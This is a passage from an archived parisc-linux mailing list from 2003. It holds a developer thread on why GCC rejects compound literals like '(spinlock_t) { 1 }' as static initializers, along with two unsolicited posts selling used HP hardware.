List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17802

On Wed, Feb 26, 2003 at 01:58:57PM -0500, John David Anglin wrote:
> > Would I have to open a bug report near gcc with this one?
> 
> You mean for the errors:
> 
> joel.c:19: error: initializer element is not constant
> joel.c:19: error: (near initialization for `MyRWLock')
> joel.c:19: error: initializer element is not constant
> 
> No, fix the code.  I don't believe you will win this one.  This
> feature (extension) was deliberately removed from GCC.

I think it was an error to do so.  I do not see how

	(spinlock_t) { 1 }

is any more or less constant than

	{ 1 }

Removing this extension is a bad idea because it removes the ability to
do typechecking.  For example,

	rwlock_t lock = SPIN_LOCK_INIT;

would throw an error with a cast and not without.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 22:09:27 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <jed6le3g1k.fsf__19542.8005456508$1416622244$gmane$org@sykes.suse.de>
References: <3E5BA2910000087F@ocpmta3.freegates.net>
	<200302261858.h1QIwvSJ019646@hiauly1.hia.nrc.ca>
	<20030226203722.A16664@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622244 22430 80.91.229.3 (22 Nov 2014 02:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 14:09:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BD9C483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 14:09:41 -0700 (MST)
Original-Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 724F514C56; Wed, 26 Feb 2003 22:09:35 +0100 (MET)
X-Yow: I'm ZIPPY the PINHEAD and I'm totally committed to the festive mode.
In-Reply-To: <20030226203722.A16664@parcelfarce.linux.theplanet.co.uk> (Matthew
 Wilcox's message of "Wed, 26 Feb 2003 20:37:22 +0000")
User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17803

Matthew Wilcox <willy@debian.org> writes:

|> On Wed, Feb 26, 2003 at 01:58:57PM -0500, John David Anglin wrote:
|> > > Would I have to open a bug report near gcc with this one?
|> > 
|> > You mean for the errors:
|> > 
|> > joel.c:19: error: initializer element is not constant
|> > joel.c:19: error: (near initialization for `MyRWLock')
|> > joel.c:19: error: initializer element is not constant
|> > 
|> > No, fix the code.  I don't believe you will win this one.  This
|> > feature (extension) was deliberately removed from GCC.
|> 
|> I think it was an error to do so.  I do not see how
|> 
|> 	(spinlock_t) { 1 }
|> 
|> is any more or less constant than
|> 
|> 	{ 1 }

A compound literal is not a constant, but an unnamed object.

Andreas.

-- 
Andreas Schwab, SuSE Labs, schwab@suse.de
SuSE Linux AG, Deutschherrnstr. 15-19, D-90429 Nrnberg
Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 16:13:11 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <200302262113.h1QLDC05020030__13475.5144165412$1416622244$gmane$org@hiauly1.hia.nrc.ca>
References: <20030226203722.A16664@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622244 22432 80.91.229.3 (22 Nov 2014 02:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:44 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 14:13:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 952FF483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 14:13:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1QLDClk020032;
	Wed, 26 Feb 2003 16:13:13 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1QLDC05020030;
	Wed, 26 Feb 2003 16:13:12 -0500 (EST)
In-Reply-To: <20030226203722.A16664@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 26, 2003 08:37:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17804

> On Wed, Feb 26, 2003 at 01:58:57PM -0500, John David Anglin wrote:
> > > Would I have to open a bug report near gcc with this one?
> > 
> > You mean for the errors:
> > 
> > joel.c:19: error: initializer element is not constant
> > joel.c:19: error: (near initialization for `MyRWLock')
> > joel.c:19: error: initializer element is not constant
> > 
> > No, fix the code.  I don't believe you will win this one.  This
> > feature (extension) was deliberately removed from GCC.
> 
> I think it was an error to do so.  I do not see how
> 
> 	(spinlock_t) { 1 }
> 
> is any more or less constant than
> 
> 	{ 1 }
> 
> Removing this extension is a bad idea because it removes the ability to
> do typechecking.  For example,
> 
> 	rwlock_t lock = SPIN_LOCK_INIT;
> 
> would throw an error with a cast and not without.

GCC allows the above cast.  What is not ok is a non-arithmentic cast
operator within an arithmetic constant expression (initializer).  In
ISO C, cast operators in an arithmetic constant expression shall only
convert arithmetic types to arithmetic types, except as part of an
operand to the sizeof operator.  See section 6.6 in the ISO C standard.

Joel's example contained a non-arithmetic cast within an arithmetic
expression.  Possibly, GCC could have continued to allow casts to
aggregate types, but a decision was made not to.  I know glibc has
had to adapt similar code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 and 3000 Servers & Workstations
Date: Wed, 26 Feb 2003 16:33:52 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <3E5D5CF0.8B64C3F4@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622245 22437 80.91.229.3 (22 Nov 2014 02:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 14:32:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cyptech.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED08E483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 14:32:08 -0700 (MST)
Original-Received: from cypress-tech.com ([10.1.1.102]) by cyptech.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Wed, 26 Feb 2003 16:34:07 -0500
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 26 Feb 2003 21:34:07.0406 (UTC) FILETIME=[CAC324E0:01C2DDDE]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17805

   Hi there, my name is Jesse and I work for Cypress Technology, Inc. I
would like to introduce our company to you: Cypress Technology is a
reseller of Hewlett-Packard 9000/Unix, 3000/MPE/Ix, and related
peripheral hardware. We have been buying and selling HP products for 8
years. Our company is located in Clearwater, FL, USA but we ship used /
refurbished products worldwide.

  Please feel free to take a look at the HP 9000 and 3000 products we
sell, we have a refurbished price list that is updated weekly at the
Specials button on our front page at. www.cypress-tech.com

Feel free to call or email if you have any HP hardware that you wish to
sell or to get a market value of what your hardware is worth. We are
currently searching for HP VME bus boards.

Thanks for your time

Jesse Dougherty
Cypress Technology, Inc
Re-Sellers of HP 3000/9000 products
12890 Automobile Blvd, Clearwater, FL 33762
727-557-0911 / fax 727-557-0014
www.cypress-tech.com
jesse@cypress-tech.com




From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 22:48:20 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <jewujm1zob.fsf__29739.4040426754$1416622245$gmane$org@sykes.suse.de>
References: <200302262113.h1QLDC05020030@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622245 22439 80.91.229.3 (22 Nov 2014 02:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:45 +0000 (UTC)
Cc: willy@debian.org (Matthew Wilcox), parisc-linux@parisc-linux.org,
	gcc@gcc.gnu.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 14:48:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7B28483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 14:48:22 -0700 (MST)
Original-Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id F0C6E14B72; Wed, 26 Feb 2003 22:48:21 +0100 (MET)
X-Yow: A dwarf is passing out somewhere in Detroit!
In-Reply-To: <200302262113.h1QLDC05020030@hiauly1.hia.nrc.ca> ("John David
 Anglin"'s message of "Wed, 26 Feb 2003 16:13:11 -0500 (EST)")
User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17806

"John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:

|> > I think it was an error to do so.  I do not see how
|> > 
|> > 	(spinlock_t) { 1 }
|> > 
|> > is any more or less constant than
|> > 
|> > 	{ 1 }
|> > 
|> > Removing this extension is a bad idea because it removes the ability to
|> > do typechecking.  For example,
|> > 
|> > 	rwlock_t lock = SPIN_LOCK_INIT;
|> > 
|> > would throw an error with a cast and not without.
|> 
|> GCC allows the above cast.

This is not a cast, it's a compound literal.

Andreas.

-- 
Andreas Schwab, SuSE Labs, schwab@suse.de
SuSE Linux AG, Deutschherrnstr. 15-19, D-90429 Nrnberg
Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 17:50:40 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200302262250.h1QMoeg9020308__49435.3622234941$1416622245$gmane$org@hiauly1.hia.nrc.ca>
References: <jewujm1zob.fsf@sykes.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622245 22442 80.91.229.3 (22 Nov 2014 02:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:45 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: schwab@suse.de (Andreas Schwab)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 15:50:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E8A5483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 15:50:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1QMoelk020310;
	Wed, 26 Feb 2003 17:50:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1QMoeg9020308;
	Wed, 26 Feb 2003 17:50:40 -0500 (EST)
In-Reply-To: <jewujm1zob.fsf@sykes.suse.de> from "Andreas Schwab" at Feb 26, 2003 10:48:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17807

> This is not a cast, it's a compound literal.

You of course are correct.  However, the GCC documentation says:

  ISO C99 supports compound literals.  A compound literal looks like
  a cast containing an initializer.  Its value is an object of the
  type specified in the cast, containing the elements specified in
  the initializer; it is an lvalue.  As an extension, GCC supports
  compound literals in C89 mode and in C++.

  Compound literals for scalar types and union types are is
  also allowed, but then the compound literal is equivalent
  to a cast.

  As a GNU extension, GCC allows initialization of objects with static storage
  duration by compound literals (which is not possible in ISO C99, because
  the initializer is not a constant).
  It is handled as if the object was initialized only with the bracket
  enclosed list if compound literal's and object types match.
  The initializer list of the compound literal must be constant.

So, the basic point is that the nesting of compound literals isn't
allowed because they are not a constant.  Cast operators in the
initializer portion of a compound literal can only convert arithmetic
types to arithmentic types, except as noted for the sizeof operator.

Unless you use the capability of compound literals to coerce to a
pointer to its first element, it doesn't appear that there is much
benefit in using compound literals for non-automatic data.

In Joel's case, the initializer only needs to contain constant
expressions and doesn't require a construction, even when the define
for RW_LOCK_UNLOCKED is done as a compound literal.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Thu, 27 Feb 2003 07:36:56 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <3E5BA291000009D9@ocpmta3.freegates.net>
References: <jewujm1zob.fsf@sykes.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622246 22444 80.91.229.3 (22 Nov 2014 02:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:46 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: "Andreas Schwab" <schwab@suse.de>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 23:37:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E8BC484A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 23:37:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18oHf9-0001Q9-00; Thu, 27 Feb 2003 07:36:59 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 27 Feb 2003 07:36:56 +0100
In-Reply-To: <jewujm1zob.fsf@sykes.suse.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17808

Hi all,

>-- Original Message --
>To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: willy@debian.org (Matthew Wilcox), parisc-linux@parisc-linux.org,
>	gcc@gcc.gnu.org
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>From: Andreas Schwab <schwab@suse.de>
>Date: Wed, 26 Feb 2003 22:48:20 +0100
>
>
>"John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:
>
>|> > I think it was an error to do so.  I do not see how
>|> > 
>|> > 	(spinlock_t) { 1 }
>|> > 
>|> > is any more or less constant than
>|> > 
>|> > 	{ 1 }
>|> > 
>|> > Removing this extension is a bad idea because it removes the ability
>to
>|> > do typechecking.  For example,
>|> > 
>|> > 	rwlock_t lock = SPIN_LOCK_INIT;
>|> > 
>|> > would throw an error with a cast and not without.
>|> 
>|> GCC allows the above cast.
>
>This is not a cast, it's a compound literal.
>
>Andreas.
>
>-- 
>Andreas Schwab, SuSE Labs, schwab@suse.de
>SuSE Linux AG, Deutschherrnstr. 15-19, D-90429 Nrnberg
>Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
>"And now for something completely different."
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Thanks to all for this clarification.

Never the less, I would like to put an additional question:

the mentionned error occurs when this variable is a global one
but when it became local (e.g. when I define it into main() ) the error doesn't
occur anynore (I do not presume of the resulting code).
So what is the conceptual difference?

Thanks in advance for additional help,
   Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Christie" <info@wias.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Heaps of HP Ram from 64 mb to 512 mb sticks
Date: Thu, 27 Feb 2003 16:51:50 +1000
Lines: 14
Approved: news@gmane.org
Message-ID: <00d401c2de2d$6b6e98e0$c800a8c0@dataline.net.au>
References: <3E5BA291000009D9@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622246 22446 80.91.229.3 (22 Nov 2014 02:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:46 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>, <gcc@gcc.gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 23:57:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tardis.wias.net.au (colo-box8.dataline.net.au [203.46.150.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id E62C7484A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 23:57:02 -0700 (MST)
Original-Received: from usermachine (nat.veridas.net [203.36.86.3])
	by tardis.wias.net.au (8.11.2/8.11.2) with SMTP id h1R6kEE05707;
	Thu, 27 Feb 2003 16:46:14 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17809

Heaps of serious ram for HP systems, I am not altogether sure if the ram
works for other systems however I have thousands of sticks from 64megs
through to 512meg sticks


Offers welcome

Chris Christie

info@wias.net.au





From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Thu, 27 Feb 2003 17:00:17 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <3E5BA29100000DEB@ocpmta3.freegates.net>
References: <200302261858.h1QIwvSJ019646@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622246 22449 80.91.229.3 (22 Nov 2014 02:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:46 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 27 09:00:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 645024842
	for <parisc-linux@parisc-linux.org>; Thu, 27 Feb 2003 09:00:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
